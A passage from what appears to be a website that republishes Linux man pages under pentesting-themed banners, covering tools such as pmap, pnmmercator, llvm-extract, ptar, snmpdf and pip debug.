If the documentation is included in the .sty file instead of a proper documentation file, the optional keywords should start with -?- directly after the semicolon, where ? is 0, 1, 2 or 3; these are flags which indicate in which part of the .sty the instructions are placed and should help texdoctk to extract the documentation from the style and present it without the code, which would normally be of little use.

0
no specific place, scattered between the code

1
at end, behind ndinput; some .sty files have well-organized documentation behind the end of the actual code, where TeX doesn’t see it upon compilation

2
at beginning, terminated by %%%%%%; in some other cases, some usage information is at the beginning of the .sty as a comment terminated by a line full of %

3
as 2, but with a blank line as termination

See the system database for plenty of examples.

FILES

$TEXMFMAIN/texdoctk/texdocrc.defaults system-wide configuration file

~/.texdocrc (optional) personal configuration file; can also be created with the Settings menu

$TEXMFMAIN/texdoctk/texdoctk.dat default database file for documentation files of the distribution

$TEXMFLOCAL/texdoctk/texdoctk-local.dat (optional) local database file for documentation files

$TEXMFHOME/texdoctk/texdoctk-pers.dat (optional) personal database file of individual users for documentation files

BUGS

Widget placement in topic toplevels becomes ugly when the toplevel is stretched or shrunk.

The font in the frame labels of the Settings menu are not forced to the default font; this will become visible e.g. at hi-res screens, where the label font is not scaled up.

Netscape and Mozilla error output will be written to stderr even if the quiet mode was set.

AUTHOR

texdoctk was written by Thomas Ruedas <[email protected]>.

This manual page was originally written by Adrian Bunk <[email protected]> for the Debian GNU/Linux system (but may be used by others). It is now maintained by Thomas Ruedas.

COPYRIGHT

Copyright (C) 2000-2004 Thomas Ruedas
This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1832 - Linux cli command pmap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pmap and provides detailed information about the command pmap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pmap.

NAME 🖥️ pmap 🖥️

report memory map of a process

SYNOPSIS

pmap [options] pid […]

DESCRIPTION

The pmap command reports the memory map of a process or processes.

OPTIONS

-x, –extended
Show the extended format.

-d, –device
Show the device format.

-q, –quiet
Do not display some header or footer lines.

-A, –range low,high
Limit results to the given range to low and high address range. Notice that the low and high arguments are single string separated with comma.

-X
Show even more details than the -x option. WARNING: format changes according to /proc/PID/smaps

-XX
Show everything the kernel provides

-p, –show-path
Show full path to files in the mapping column

-c, –read-rc
Read the default configuration

-C, –read-rc-from file
Read the configuration from file

-n, –create-rc
Create new default configuration

-N, –create-rc-to file
Create new configuration to file

-h, –help
Display help text and exit.

-V, –version
Display version information and exit.

EXIT STATUS

0
Success.

1
Failure.

42
Did not find all processes asked for.

SEE ALSO

ps(1), pgrep(1)

STANDARDS

No standards apply, but pmap looks an awful lot like a SunOS command.

REPORTING BUGS

Please send bug reports to

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1833 - Linux cli command pnmmercator

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmmercator and provides detailed information about the command pnmmercator, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmmercator.

.

NAME 🖥️ pnmmercator 🖥️

transform a worldmap from rectangular projection to Mercator projection and vice-versa

SYNOPSIS

pnmmercator [-inverse] [-nomix] [-[v]verbose] [filename]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options.

DESCRIPTION

This program is part of Netpbm(1) .

The pnmmercator utility, converts a rectangular projection worldmap to a Mercator projection format, as used for maps.google.com and many other online maps. The map used as input for pnmmercator must have rows for -90 to 90 degrees latitude and columns for -180 to +180 degrees longitude. The file will typically be twice as wide as high, but this is not a requirement. The output file will be using the Mercator projection and will get double the height of the input file.

Maps using the Mercator projection are stretched more the closer a row is to the North or South Pole. The last few degrees (> 85 or < -85 degrees) are not part of a Mercator map at all because they would be stretched too much and the rows close to the edge will show banding, because they originate from the same row in the original map.

To overcome this, the program will by default do interpolation of pixel colors, which will eliminate the banding effect, but will cause some blurring of the output. With the -nomix option, this interpolation of colors isn’t applied. You can obtain the highest quality output by starting with an input map of high resolution, so that you can follow the pnmmercator transformation with a pamscale reduction in size.

This program can also convert a Mercator projection map back to a rectangular projection based. As said, the Mercator map doesn’t have information about the latitudes close to the poles. Therefore the top rows in the output image will be identical and copied from the row corresponding with latitude of 85 degrees. The same at the bottom of the map.

Pnmmercator doesn’t have any provision for scaling the image. You can scale by piping the output of the program through Netpbm programs such as pamscale*.*

You can find maps to be used as input at flatplanet.sourceforge.net(1) or uic.edu/pape .

The point of a Mercator projection map is that compass directions work on it. If you draw a straight line northeast from some point on the Mercator map, the line traces the course you would sail if you sailed a compass bearing of northeast from that spot. Naturally, primitive navigators appreciated that. The biggest drawback of Mercator is that areas to the north and south appear much larger than they are in real life. For example, Greenland appears to be larger than South America even though it only a ninth as large. Note that areas away from the equator are stretched north-south as well as east-west.

A rectangular projection is one where vertical distance is proportional to angular latitude distance of the represented area and horizontal distance is proportional to angular longitude.

PARAMETERS

filename is the name of the input file. If you don’t specify this, pnmmercator reads the image from standard Input.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet*, see* Common Options ), pnmmercator recognizes the following command line options:

-inverse
With this option a conversion from Mercator to degrees is applied.The output image will have half the height of the input map.

-nomix
Default behaviour is that color blending is applied in between two adjacent rows. If you specify the -nomix parameter there is no blending. The consequence is a banding at the top and bottom of the map. With this option, the output map will also consist of exactly the same colors as the input.

-verbose and -vverbose
This parameter outputs some additional information. If you double the ‘v’, it will output debug data about the lat/long degree and Mercator conversions.

SEE ALSO

pnm(1) and pamscale(1) ppmglobe(1)

HISTORY

pnmmercator was new in Netpbm 10.49 (December 2009).

AUTHORS

Willem van Schaik (of pnmtopng*/*pngtopnm fame) wrote this program in October 2009 and suggested it for inclusion in Netpbm.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmmercator.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1834 - Linux cli command lcf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lcf and provides detailed information about the command lcf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lcf.

NAME 🖥️ lcf 🖥️

Determine which of the historical versions of a config is installed

SYNOPSIS

lcf [options] <Destination File Name> <Historical MD5SUM source directory>

DESCRIPTION

This script, given a destination file name, and a directory containing md5sums of historical versions of the file, attempts to determine if the installed version corresponds to a historical version. lcf uses the same algorithm that ucf uses, and should exhibit the same behaviour.

The source directory is the place where historical md5sums are expected to live. Specifically, the historical md5sums are looked for in either the file ${filename}.md5sum, or the subdirectory ${filename}.md5sum.d/

OPTIONS

-h, –help
Print a short usage message

-n, –no-action
Dry run. Print the actions that would be taken if the script is invoked, but take no action.

-d [n], –debug [n]
Set the debug level to the (optional) level n (n defaults to 1). This turns on copious debugging information.

-v, –verbose
Make the script be very verbose about setting internal variables.

FILES

/var/lib/ucf/hashfile, /etc/ucf.conf

SEE ALSO

ucf(1) ucf.conf(5).

BUGS

There are no bugs. Any resemblance thereof is delirium. Really.

AUTHOR

This manual page was written Manoj Srivastava <[email protected]>, for the Debian GNU/Linux system.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1835 - Linux cli command llvm-extract-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-extract-17 and provides detailed information about the command llvm-extract-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-extract-17.

NAME 🖥️ llvm-extract-17 🖥️

extract - extract a function from an LLVM module

SYNOPSIS

llvm-extract [options] –func function-name [filename]

DESCRIPTION

The llvm-extract command takes the name of a function and extracts it from the specified LLVM bitcode file. It is primarily used as a debugging tool to reduce test cases from larger programs that are triggering a bug.

In addition to extracting the bitcode of the specified function, llvm-extract will also remove unreachable global variables, prototypes, and unused types.

The llvm-extract command reads its input from standard input if filename is omitted or if filename is -. The output is always written to standard output, unless the -o option is specified (see below).

OPTIONS

–alias alias-name

Extract the alias named function-name from the LLVM bitcode. May be specified multiple times to extract multiple alias at once.

–ralias alias-regular-expr

Extract the alias matching alias-regular-expr from the LLVM bitcode. All alias matching the regular expression will be extracted. May be specified multiple times.

–bb basic-block-specifier

Extract basic blocks(s) specified in basic-block-specifier. May be specified multiple times. Each <function:bb[;bb]> specifier pair will create a function. If multiple basic blocks are specified in one pair, the first block in the sequence should dominate the rest.

–delete

Delete specified Globals from Module.

-f

Enable binary output on terminals. Normally, llvm-extract will refuse to write raw bitcode output if the output stream is a terminal. With this option, llvm-extract will write raw bitcode regardless of the output device.

–func function-name

Extract the function named function-name from the LLVM bitcode. May be specified multiple times to extract multiple functions at once.

–rfunc function-regular-expr

Extract the function(s) matching function-regular-expr from the LLVM bitcode. All functions matching the regular expression will be extracted. May be specified multiple times.

–glob global-name

Extract the global variable named global-name from the LLVM bitcode. May be specified multiple times to extract multiple global variables at once.

–rglob glob-regular-expr

Extract the global variable(s) matching global-regular-expr from the LLVM bitcode. All global variables matching the regular expression will be extracted. May be specified multiple times.

–keep-const-init

Preserve the values of constant globals.

–recursive

Recursively extract all called functions

-help

Print a summary of command line options.

-o filename

Specify the output filename. If filename is “-” (the default), then llvm-extract sends its output to standard output.

-S

Write output in LLVM intermediate language (instead of bitcode).

EXIT STATUS

If llvm-extract succeeds, it will exit with 0. Otherwise, if an error occurs, it will exit with a non-zero value.

SEE ALSO

bugpoint(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1836 - Linux cli command pdb31

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pdb31 and provides detailed information about the command pdb31, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pdb31.

NAME 🖥️ pdb31 🖥️

the Python debugger

SYNOPSIS

pdb3.11 script […]

DESCRIPTION

See the chapter “The Python Debugger” in the Python Library Reference for more information on the use of pdb. When the debugger is started, help is available via the help command.

SEE ALSO

python3.11(1). Chapter “The Python Debugger” of the Python Library Reference. Available in the python3.11-doc package at /usr/share/doc/python3.11/html/library/pdb.html.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1837 - Linux cli command ptar

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ptar and provides detailed information about the command ptar, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ptar.

NAME 🖥️ ptar 🖥️

a tar-like program written in perl

DESCRIPTION

ptar is a small, tar look-alike program that uses the perl module Archive::Tar to extract, create and list tar archives.

SYNOPSIS

ptar -c [-v] [-z] [-C] [-f ARCHIVE_FILE | -] FILE FILE … ptar -c [-v] [-z] [-C] [-T index | -] [-f ARCHIVE_FILE | -] ptar -x [-v] [-z] [-f ARCHIVE_FILE | -] ptar -t [-z] [-f ARCHIVE_FILE | -] ptar -h

OPTIONS

c Create ARCHIVE_FILE or STDOUT (-) from FILE x Extract from ARCHIVE_FILE or STDIN (-) t List the contents of ARCHIVE_FILE or STDIN (-) f Name of the ARCHIVE_FILE to use. Default is ./default.tar z Read/Write zlib compressed ARCHIVE_FILE (not always available) v Print filenames as they are added or extracted from ARCHIVE_FILE h Prints this help message C CPAN mode - drop 022 from permissions T get names to create from file

SEE ALSO

tar (1), Archive::Tar.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1838 - Linux cli command snmpdf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmpdf and provides detailed information about the command snmpdf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmpdf.

NAME 🖥️ snmpdf 🖥️

display disk space usage on a network entity via SNMP

SYNOPSIS

snmpdf [COMMON OPTIONS] [-Cu] [-Ch] AGENT

DESCRIPTION

snmpdf is simply a networked version of the typical df command. It checks the disk space on the remote machine by examining the HOST-RESOURCES-MIB’s hrStorageTable or the UCD-SNMP-MIB’s dskTable. By default, the hrStorageTable is preferred as it typically contains more information. However, the -Cu argument can be passed to snmpdf to force the usage of the dskTable.

AGENT identifies a target SNMP agent, which is instrumented to monitor the given objects. At its simplest, the AGENT specification will consist of a hostname or an IPv4 address. In this situation, the command will attempt communication with the agent, using UDP/IPv4 to port 161 of the given target host. See the snmpcmd(1) manual page for a full list of the possible formats for AGENT.

See the snmpd.conf(5) manual page on setting up the dskTable using the disk directive in the snmpd.conf file.

OPTIONS

COMMON OPTIONS
Please see snmpcmd(1) for a list of possible values for COMMON OPTIONS as well as their descriptions.

-Cu
Forces the command to use dskTable in mib UCD-SNMP-MIB instead of the default to determine the storage information. Generally, the default use of hrStorageTable in mib HOST-RESOURCES-MIB is preferred because it typically contains more information.

-Ch
Print sizes in human readable format (i.e. MiB, GiB, TiB)

-CH
Print sizes in human readable SI format (i.e. MB, GB, TB)

EXAMPLES

% snmpdf -v 2c -c public localhost

Description       size (kB)         Used    Available Used%
/                   7524587      2186910      5337677   29%
/proc                     0            0            0    0%
/etc/mnttab               0            0            0    0%
/var/run            1223088           32      1223056    0%
/tmp                1289904        66848      1223056    5%
/cache               124330         2416       121914    1%
/vol                      0            0            0    0%
Real Memory          524288       447456        76832   85%
Swap Space          1420296       195192      1225104   13%

SEE ALSO

snmpd.conf(5), snmp.conf(5)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1839 - Linux cli command lldb-tblgen-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lldb-tblgen-16 and provides detailed information about the command lldb-tblgen-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lldb-tblgen-16.

NAME 🖥️ lldb-tblgen-16 🖥️

tblgen - Description to C++ Code for LLDB

SYNOPSIS

lldb-tblgen [options] [filename]

DESCRIPTION

lldb-tblgen is a program that translates compiler-related target description (.td) files into C++ code and other output formats. Most users of LLVM will not need to use this program. It is used only for writing parts of the compiler.

Please see tblgen - Description to C++ Code for a description of the filename argument and options, including the options common to all *-tblgen programs.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1840 - Linux cli command opl2ofm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command opl2ofm and provides detailed information about the command opl2ofm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the opl2ofm.

NAME 🖥️ opl2ofm 🖥️

convert Omega and TeX property-list files to font-metric files

SYNOPSIS

opl2ofm [OPTIONS] OPLFILE[.opl] [OFMFILE[.ofm]]

DESCRIPTION

opl2ofm translates a property-list format file, OPLFILE, into the binary Omega Font Metric format. The program writes to standard output (by default) or to a file specified as OFMFILE.

The program also works with TeX PL files, producing TeX TFM files. (opl2ofm is based on the WEB source code for pltotf(1).)

OPTIONS

-help
display a brief summary of syntax and options

-verbose
display progress reports

-version
output version information and exit

BUGS

Email bug reports to <https://lists.tug.org/tex-k> (mailing list); good to check if the same bug is present in pltotf(1).

SEE ALSO

omega(1), ofm2opl(1), pltotf(1), tftopl(1).

AUTHOR

According to the WEB documentation:

The first PLtoTF program was designed by Leo Guibas in the summer of 1978. Contributions by Frank Liang, Doug Wyatt, and Lyle Ramshaw also had a significant effect on the evolution of the present code.

Extensions for an enhanced ligature mechanism were added by D.E. Knuth in 1989.

Extensions to handle extended font metric files (``OFM’’) were added by John Plaice in December 1995 and January 1996, resulting in the new program OPL2OFM.

The primary authors of Omega were John Plaice and Yannis Haralambous. Omega (and Aleph) are now maintained as part of TeX Live.

This manual page was written by C.M. Connelly for the Debian GNU/Linux system. It is also now maintained as part of TeX Live.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1841 - Linux cli command pip3-debug

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pip3-debug and provides detailed information about the command pip3-debug, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pip3-debug.

NAME 🖥️ pip3-debug 🖥️

debug - description of pip3 debug command

DESCRIPTION

Display debug information.

USAGE

python -m pip debug

WARNING:

This command is only meant for debugging. Its options and outputs are provisional and may change without notice.

OPTIONS

–platform <platform>
Only use wheels compatible with <platform>. Defaults to the platform of the running system. Use this option multiple times to specify multiple platforms supported by the target interpreter.

(environment variable: PIP_PLATFORM)

–python-version <python_version>
The Python interpreter version to use for wheel and “Requires-Python” compatibility checks. Defaults to a version derived from the running interpreter. The version can be specified using up to three dot-separated integers (e.g. “3” for 3.0.0, “3.7” for 3.7.0, or “3.7.3”). A major-minor version can also be given as a string without dots (e.g. “37” for 3.7.0).

(environment variable: PIP_PYTHON_VERSION)

–implementation <implementation>
Only use wheels compatible with Python implementation <implementation>, e.g. ‘pp’, ‘jy’, ‘cp’, or ‘ip’. If not specified, then the current interpreter implementation is used. Use ‘py’ to force implementation-agnostic wheels.

(environment variable: PIP_IMPLEMENTATION)

–abi <abi>
Only use wheels compatible with Python abi <abi>, e.g. ‘pypy_41’. If not specified, then the current interpreter abi tag is used. Use this option multiple times to specify multiple abis supported by the target interpreter. Generally you will need to specify –implementation, –platform, and –python-version when using this option.

(environment variable: PIP_ABI)

AUTHOR

pip developers

COPYRIGHT

The pip developers

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1842 - Linux cli command x86_64-linux-gnu-gprof

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-gprof and provides detailed information about the command x86_64-linux-gnu-gprof, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-gprof.

NAME 🖥️ x86_64-linux-gnu-gprof 🖥️

display call graph profile data

SYNOPSIS

